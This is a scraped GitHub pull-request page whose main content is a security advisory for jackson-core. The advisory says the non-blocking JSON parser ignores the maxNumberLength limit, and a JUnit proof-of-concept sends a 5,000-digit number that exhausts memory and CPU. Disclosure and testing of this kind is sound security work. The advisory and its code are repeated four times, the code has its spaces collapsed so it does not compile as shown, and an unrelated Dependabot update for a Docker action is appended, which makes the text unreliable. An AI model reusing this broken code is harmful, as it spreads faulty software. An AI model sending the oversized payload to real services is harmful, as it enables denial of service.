You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.
Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
@dependabot rebase will rebase this PR
@dependabot recreate will recreate this PR, overwriting any edits that have been made to it
@dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
@dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
@dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
@dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
Details
The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.
The number parsing methods (e.g., _finishNumberIntegralPart) accumulate digits into the TextBuffer without any length checks.
After parsing, they call _valueComplete(), which finalizes the token but does not call resetInt() or resetFloat().
The resetInt()/resetFloat() methods in ParserBase are where the validateIntegerLength() and validateFPLength() checks are performed.
Because this validation step is skipped, the maxNumberLength constraint is never enforced in the async code path.
PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
packagetools.jackson.core.unittest.dos;
importjava.nio.charset.StandardCharsets;
importorg.junit.jupiter.api.Test;
importtools.jackson.core.*;
importtools.jackson.core.exc.StreamConstraintsException;
importtools.jackson.core.json.JsonFactory;
importtools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
importstaticorg.junit.jupiter.api.Assertions.*;
/** * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers * * Authors: sprabhav7, rohan-repos * * maxNumberLength default = 1000 characters (digits). * A number with more than 1000 digits should be rejected by any parser. * * BUG: The async parser never calls resetInt()/resetFloat() which is where * validateIntegerLength()/validateFPLength() lives. Instead it calls * _valueComplete() which skips all number length validation. * * CWE-770: Allocation of Resources Without Limits or Throttling */classAsyncParserNumberLengthBypassTest {
privatestaticfinalintMAX_NUMBER_LENGTH = 1000;
privatestaticfinalintTEST_NUMBER_LENGTH = 5000;
privatefinalJsonFactoryfactory = newJsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength@TestvoidsyncParserRejectsLongNumber() throwsException {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to consoleSystem.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParserp = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsExceptione) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects@TestvoidasyncParserAcceptsLongNumber() throwsException {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParserp =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
booleanfoundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
StringnumberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to consoleSystem.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsExceptione) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
privatebyte[] buildPayloadWithLongInteger(intnumDigits) {
StringBuildersb = newStringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (inti = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
returnsb.toString().getBytes(StandardCharsets.UTF_8);
}
}
Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.
Suggested Remediation
The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.
NOTE: This research was performed in collaboration with rohan-repos
The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
Details
The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.
The number parsing methods (e.g., _finishNumberIntegralPart) accumulate digits into the TextBuffer without any length checks.
After parsing, they call _valueComplete(), which finalizes the token but does not call resetInt() or resetFloat().
The resetInt()/resetFloat() methods in ParserBase are where the validateIntegerLength() and validateFPLength() checks are performed.
Because this validation step is skipped, the maxNumberLength constraint is never enforced in the async code path.
PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
packagetools.jackson.core.unittest.dos;
importjava.nio.charset.StandardCharsets;
importorg.junit.jupiter.api.Test;
importtools.jackson.core.*;
importtools.jackson.core.exc.StreamConstraintsException;
importtools.jackson.core.json.JsonFactory;
importtools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
importstaticorg.junit.jupiter.api.Assertions.*;
/** * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers * * Authors: sprabhav7, rohan-repos * * maxNumberLength default = 1000 characters (digits). * A number with more than 1000 digits should be rejected by any parser. * * BUG: The async parser never calls resetInt()/resetFloat() which is where * validateIntegerLength()/validateFPLength() lives. Instead it calls * _valueComplete() which skips all number length validation. * * CWE-770: Allocation of Resources Without Limits or Throttling */classAsyncParserNumberLengthBypassTest {
privatestaticfinalintMAX_NUMBER_LENGTH = 1000;
privatestaticfinalintTEST_NUMBER_LENGTH = 5000;
privatefinalJsonFactoryfactory = newJsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength@TestvoidsyncParserRejectsLongNumber() throwsException {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to consoleSystem.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParserp = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsExceptione) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects@TestvoidasyncParserAcceptsLongNumber() throwsException {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParserp =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
booleanfoundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
StringnumberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to consoleSystem.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsExceptione) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
privatebyte[] buildPayloadWithLongInteger(intnumDigits) {
StringBuildersb = newStringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (inti = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
returnsb.toString().getBytes(StandardCharsets.UTF_8);
}
}
Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.
Suggested Remediation
The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.
NOTE: This research was performed in collaboration with rohan-repos
The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
Details
The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.
The number parsing methods (e.g., _finishNumberIntegralPart) accumulate digits into the TextBuffer without any length checks.
After parsing, they call _valueComplete(), which finalizes the token but does not call resetInt() or resetFloat().
The resetInt()/resetFloat() methods in ParserBase are where the validateIntegerLength() and validateFPLength() checks are performed.
Because this validation step is skipped, the maxNumberLength constraint is never enforced in the async code path.
PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
packagetools.jackson.core.unittest.dos;
importjava.nio.charset.StandardCharsets;
importorg.junit.jupiter.api.Test;
importtools.jackson.core.*;
importtools.jackson.core.exc.StreamConstraintsException;
importtools.jackson.core.json.JsonFactory;
importtools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
importstaticorg.junit.jupiter.api.Assertions.*;
/** * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers * * Authors: sprabhav7, rohan-repos * * maxNumberLength default = 1000 characters (digits). * A number with more than 1000 digits should be rejected by any parser. * * BUG: The async parser never calls resetInt()/resetFloat() which is where * validateIntegerLength()/validateFPLength() lives. Instead it calls * _valueComplete() which skips all number length validation. * * CWE-770: Allocation of Resources Without Limits or Throttling */classAsyncParserNumberLengthBypassTest {
privatestaticfinalintMAX_NUMBER_LENGTH = 1000;
privatestaticfinalintTEST_NUMBER_LENGTH = 5000;
privatefinalJsonFactoryfactory = newJsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength@TestvoidsyncParserRejectsLongNumber() throwsException {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to consoleSystem.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParserp = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsExceptione) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects@TestvoidasyncParserAcceptsLongNumber() throwsException {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParserp =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
booleanfoundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
StringnumberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to consoleSystem.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsExceptione) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
privatebyte[] buildPayloadWithLongInteger(intnumDigits) {
StringBuildersb = newStringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (inti = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
returnsb.toString().getBytes(StandardCharsets.UTF_8);
}
}
Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.
Suggested Remediation
The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.
NOTE: This research was performed in collaboration with rohan-repos
The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
Details
The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.
The number parsing methods (e.g., _finishNumberIntegralPart) accumulate digits into the TextBuffer without any length checks.
After parsing, they call _valueComplete(), which finalizes the token but does not call resetInt() or resetFloat().
The resetInt()/resetFloat() methods in ParserBase are where the validateIntegerLength() and validateFPLength() checks are performed.
Because this validation step is skipped, the maxNumberLength constraint is never enforced in the async code path.
PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
packagetools.jackson.core.unittest.dos;
importjava.nio.charset.StandardCharsets;
importorg.junit.jupiter.api.Test;
importtools.jackson.core.*;
importtools.jackson.core.exc.StreamConstraintsException;
importtools.jackson.core.json.JsonFactory;
importtools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
importstaticorg.junit.jupiter.api.Assertions.*;
/** * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers * * Authors: sprabhav7, rohan-repos * * maxNumberLength default = 1000 characters (digits). * A number with more than 1000 digits should be rejected by any parser. * * BUG: The async parser never calls resetInt()/resetFloat() which is where * validateIntegerLength()/validateFPLength() lives. Instead it calls * _valueComplete() which skips all number length validation. * * CWE-770: Allocation of Resources Without Limits or Throttling */classAsyncParserNumberLengthBypassTest {
privatestaticfinalintMAX_NUMBER_LENGTH = 1000;
privatestaticfinalintTEST_NUMBER_LENGTH = 5000;
privatefinalJsonFactoryfactory = newJsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength@TestvoidsyncParserRejectsLongNumber() throwsException {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to consoleSystem.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParserp = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsExceptione) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects@TestvoidasyncParserAcceptsLongNumber() throwsException {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParserp =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
booleanfoundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
StringnumberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to consoleSystem.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsExceptione) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
privatebyte[] buildPayloadWithLongInteger(intnumDigits) {
StringBuildersb = newStringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (inti = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
returnsb.toString().getBytes(StandardCharsets.UTF_8);
}
}
Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.
Suggested Remediation
The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.
NOTE: This research was performed in collaboration with rohan-repos
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
dependabot
bot
added
dependencies
github_actions
Bumps docker/setup-buildx-action from 3 to 4.
Release notes
Sourced from docker/setup-buildx-action's releases.
... (truncated)
Commits
4d04d5dMerge pull request #485 from docker/dependabot/npm_and_yarn/docker/actions-to...cd74e05chore: update generated contenteee38ecbuild(deps): bump@docker/actions-toolkitfrom 0.77.0 to 0.79.07a83f65Merge pull request #484 from docker/dependabot/github_actions/docker/setup-qe...a5aa967Merge pull request #464 from crazy-max/rm-deprecatede73d53fbuild(deps): bump docker/setup-qemu-action from 3 to 428a438eMerge pull request #483 from crazy-max/node24034e9d3chore: update generated contentb4664d8remove deprecated inputs/outputsa8257denode 24 as default runtimeDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting
@dependabot rebase.Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
@dependabot rebasewill rebase this PR@dependabot recreatewill recreate this PR, overwriting any edits that have been made to it@dependabot show <dependency name> ignore conditionswill show all of the ignore conditions of the specified dependency@dependabot ignore this major versionwill close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this minor versionwill close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)@dependabot ignore this dependencywill close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)